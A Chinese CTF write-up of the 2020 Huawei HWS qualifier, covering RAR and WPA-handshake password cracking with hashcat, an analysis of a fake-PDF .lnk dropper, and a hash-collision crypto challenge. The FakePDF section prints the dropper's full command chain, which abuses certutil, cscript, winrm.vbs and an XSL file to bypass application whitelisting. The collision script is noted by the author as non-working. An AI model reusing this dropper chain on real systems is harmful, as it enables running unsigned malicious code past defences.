2020华为HWS选拔赛WP

好久没打CTF了 陪小姑娘一起耍耍

题目类型有PWN REVERSE MISC CRYPTO 没有WEB自然还是先从MISC入手了

基础破解

确实挺基础的 里面一个rar加密压缩包 直接丢到ARPR里面 跑了四位数字就出来了

近源黑客

这玩意 其实就是个WIFI密码破解
里面是一个pcapng的包
看了下头 是用hcxdumptool抓下来的
根据压缩包中的注释

    const password = *** CENSORED ***;  
    password.match('/DASCTF\d{4}/');  
    flag = "DASCTF{" + md5(password) + "}"  

使用crunch 10 10 -t DASCTF%%%% > num.txt生成了字典
结果aircrack-ng跑不出来

wireshark看了下 发现里面有握手包但是不足四次
所以不能用aircrack-ng
于是先hcxpcaptool -z dasctf dasctf.pcapng转换了格式
然后hashcat -m 16800 dasctf -a 3 -w 3 'DASCTF?d?d?d?d'
就跑出来了

FakePDF

这个题有点神奇 没有拿到Flag但是已经分析的差不多了 因为我不知道怎么调试VB就木有做完
首先是一个lnk的windows快捷方式 使用windows打开 会看到一个一闪而过的cmd 然后打开了一个pdf
运行之后文件的结构似乎会发生改变
于是用linux看了下

20200308-sitrep-48-covid-19.pdf.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Wed Jun 24 19:39:19 2015, mtime=Wed Jun 24 19:39:19 2015, atime=Sat Nov 20 04:17:00 2010, length=302592, window=hidenormalshowminimized

没看出什么特别的
然后看了下快捷方式的指向内容 发现了东西

%SystemRoot%\system32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y
&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y
&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp > %tmp%\\cSi1r0uywDNvDu.

于是顺藤摸瓜 去%tmp%目录中一顿操作 发现了他的工作过程
先模拟他的过程

findstr.exe "TVNDRgAAAA" g4ZokyumBB2gDn.tmp >00hululu
.\msoia.exe -decode .\00hululu 11hahaha
expand .\11hahaha -F:* ./

使用expand一共释放了三个文件

Microsoft (R) 文件扩展实用程序
版权所有 (c) Microsoft Corporation。保留所有权利。

正在将 ./\9sOXN6Ltf0afe7.js 添加到提取队列
正在将 ./\20200308-sitrep-48-covid-19.pdf 添加到提取队列
正在将 ./\cSi1r0uywDNvDu.tmp 添加到提取队列

正在展开文件 ....

完成展开文件 ...
总共 3 个文件。

格式化了一下 经过解析生成的cSi1r0uywDNvDu.tmp内容为

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="VBScript">
 <![CDATA[
 rBOH7OLTCVxzkH = HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):
 execute(rBOH7OLTCVxzkH):
	function HrtvBsRh3gNUbe(bhhz6HalbOkrki):
		for rBOH7OLTCVxzkH= 1 to len(bhhz6HalbOkrki) step 2:
			HrtvBsRh3gNUbe = HrtvBsRh3gNUbe & chr(asc(chr("&h" & mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):
			next:
	end function:
 ]]> </ms:script>
</stylesheet>

9sOXN6Ltf0afe7.js

var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell");
e7926b8de13327f8e703624e.Run ("
	cmd /c mkdir %tmp%\\cscript.exe
	& for /r C:\\Windows\\System32\\ %m in (cscr*.exe) 
		do copy %m %tmp%\\cscript.exe\\msproof.exe /y
	& move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl
	& %tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
	& del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q
	& \"%tmp%\\20200308-sitrep-48-covid-19.pdf\"
	",0);

突然这些操作明了了起来
这个其实是一个攻击手法
使用 winrm.vbs 绕过应用白名单执行任意未签名代码 所以只要将xml中混淆过的vb解出来应该就是flag了

for i= 1 to to len(676d60667a64333665326564333665326564333665326536653265643336656564333665327c) step 2:
	flag = flag & chr(asc(chr("&h" & mid(676d60667a64333665326564333665326564333665326536653265643336656564333665327c,i,2)))xor 1):
	next:

额 大概就是这样 但是一个是因为比赛时间不够了 一个是因为不知道vb怎么调试 于是没拿到最终的flag

Crypto

一个服务端的python

from hashlib import sha256
import signal

def s2b(s):
    res = b''
    for i in s:
        res += bytes([ord(i)])
    return res


def b2s(b):
    s = ''
    for i in b:
        s += chr(i)
    return s

class Hash():

    def __init__(self):
        self.h =    144066263297769815596495629667062367629
        self.g =    (1 << 88) + 315 #309485009821345068724781371                
        self.mask = 0xffffffffffffffffffffffffffffffff #340282366920938463463374607431768211455
    
    def encode(self,message):
        message = [ord(i) for i in message]
        h = self.h
        for i in message:
            h = ((h+i)*self.g)&self.mask
        return h


class Task(BaseRequestHandler):


    def dosend(self, msg):
        try:
            self.request.sendall(msg)
        except:
            pass

    def recvall(self, sz):
        try:
            r = sz
            res = ""
            while r > 0:
                res += b2s(self.request.recv(r))
                if res.endswith("\n"):
                    r = 0
                else:
                    r = sz - len(res)
            res = res.strip()
        except:
            res = ""
        return res.strip("\n")

    def proof_of_work(self):
        random.seed(os.urandom(8))
        proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
        digest = sha256(proof.encode()).hexdigest()
        self.request.send(s2b(("sha256(XXXX+%s) == %s\n" % (proof[4:],digest))))
        self.request.send(b'Give me XXXX:')
        x = self.request.recv(10)
        x = b2s(x)
        x = x.strip()
        if len(x) != 4 or sha256((x+proof[4:]).encode()).hexdigest() != digest: 
            return False
        return True

    def handle(self):
        
        signal.alarm(300)
        if not self.proof_of_work():
   		    return
        signal.alarm(300)

        self.dosend(b"welcome to eZLogin System!\n")
        admin = "admin_is_badmonkey"
        hash = Hash()
        sig = str(hash.encode(admin))               
        self.dosend("admin's signature is: ")
        self.dosend(s2b(sig+'\n'))                      #62198197517637162159907352106958695418
        try:
            while True:
                self.dosend(b"Options\n")
                self.dosend(b"1.Login\n")
                self.dosend(b"2.Register\n")
            
                choice = int(self.recvall(1024))
                if choice != 1 and choice != 2:
                    self.dosend(b"no such choice\n")
                    break
                if choice == 1:
                    self.dosend(b"give me your username(hex)\n")
                    username = self.recvall(1024)
                    username = b2s(bytes.fromhex(username))
                    usersig = str(hash.encode(username))
                    print(username)
                    if username == admin :
                        self.dosend(b"sorry,you are not badmonkey\n")
                        break
                    if usersig == sig:
                        self.dosend(b"welcome,badmonkey\n")
                        self.dosend(flag)
                        break
                    else:
                        self.dosend(s2b("welcome,{}\n".format(username)))
                else:
                    self.dosend(b"give me your username(hex)\n")
                    username = self.recvall(1024)
                    username = b2s(bytes.fromhex(username))

                    usersig = str(hash.encode(username))
                    self.dosend(b"Here is your signature\n")
                    self.dosend(s2b(usersig+'\n'))
        except e:
            print(e)
            self.dosend(b"wrong input\n")
            return False

        



if __name__ == '__main__':
    HOST, PORT = "0.0.0.0", 9999
    server = ThreadingTCPServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    server.serve_forever()

注释是我后加的 总共两部分
第一部分是sha256爆破 随手写了个爆破脚本 就可以了

# sha256(4aHR WmCfG8o5dCsQlbXg) == d06abb600b3854aa5bcd61cf30aceac06016f93822d9097e1d9bbfa908d38fca

password = "WyctX8tEbHegSagN"
dig = "25870d38f20b7702cf9f7275e4c19182eb7bdcc62dad954119e2ec6a547bfee5"

dic = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"

for a in dic:
    for b in dic:
        for c in dic:
            for d in dic:
                gantama = a+b+c+d+password
                # print(gantama)
                if(sha256(gantama.encode()).hexdigest()==dig):
                    print(a+b+c+d)
                    exit()

第二部分是fnv2-hash collision 这个就有点麻烦了 找到了一个大佬的gist
被sagemath搞得心态爆炸
然后用了docker 又把代码改成python3 的版本 结果无论怎么运行都说提高K值 小姑娘也搞不懂啥原理
所以搞到最后 也没什么进展
也贴在这吧

from sage.all import *

mod = 2**128
h0 = 144066263297769815596495629667062367629
g = 2**88 + 315

K = 2**128
B = K**2 # big enough

if 1: # short collision
    N = 17           # number of bytes
    base = [128] * N # close to this value
    '''
    [128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128, 128]
    ASCII: '\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80'
    0xfa3824bfb69587b859aa5b77536cd63fL
    [192, 123, 55, 93, 181, 109, 138, 206, 172, 80, 67, 129, 208, 102, 150, 56, 159]
    ASCII: '\xc0{7]\xb5m\x8a\xce\xacPC\x81\xd0f\x968\x9f'
    0xfa3824bfb69587b859aa5b77536cd63fL
    '''

else: # readable (second preimage)
    base = map(ord, "~~~~ NSU CRYPTO IS FUN! ~~~~")
    N = len(base)
    '''
    [126, 126, 126, 126, 32, 78, 83, 85, 32, 67, 82, 89, 80, 84, 79, 32, 73, 83, 32, 70, 85, 78, 33, 32, 126, 126, 126, 126]
    ASCII: '~~~~ NSU CRYPTO IS FUN! ~~~~'
    0x8e10c895b91c6cba80b57a5e555b7f6L
    [130, 133, 123, 131, 39, 76, 87, 83, 30, 68, 82, 78, 73, 86, 75, 23, 83, 81, 39, 63, 72, 87, 42, 28, 121, 128, 124, 122]
    ASCII: "\x82\x85{\x83'LWS\x1eDRNIVK\x17SQ'?HW*\x1cy\x80|z"
    0x8e10c895b91c6cba80b57a5e555b7f6L
    '''

htarget = 0

m = matrix(ZZ, N + 1, N + 2)
for i in xrange(N):
    ge = pow(g, N-i, mod)
    m[i,0] = ge
    m[i,1+i] = 1
m[N,0] = mod

for i in xrange(N+1):
    m[i,0] *= K

ml = m.LLL()

sol = ml.rows()[0]
print "Sol:", sol
if sol[0] != 0:
    print "Zero not reached, increase K"
    quit()

if not base:
    base = [BASE] * N
msg = []
for i in xrange(N):
    msg.append(base[i] + sol[1+i])
    if not (0 <= msg[-1] <= 255):
        print "Need more bytes!"
        quit()


def FNV2(msg):
    h = h0
    for xi in msg:
        h = (h + xi) * g % mod
    return int(h)


print base
print "ASCII:", `"".join(map(chr, base))`
print hex(FNV2(base)), FNV2(base)
print
print msg
print "ASCII:", `"".join(map(chr, msg))`
print hex(FNV2(msg)), FNV2(base)

© 2021. All rights reserved.

本站总访问量 Web Analytics

Powered by Hydejack v9.1.2 & Moded by ZYA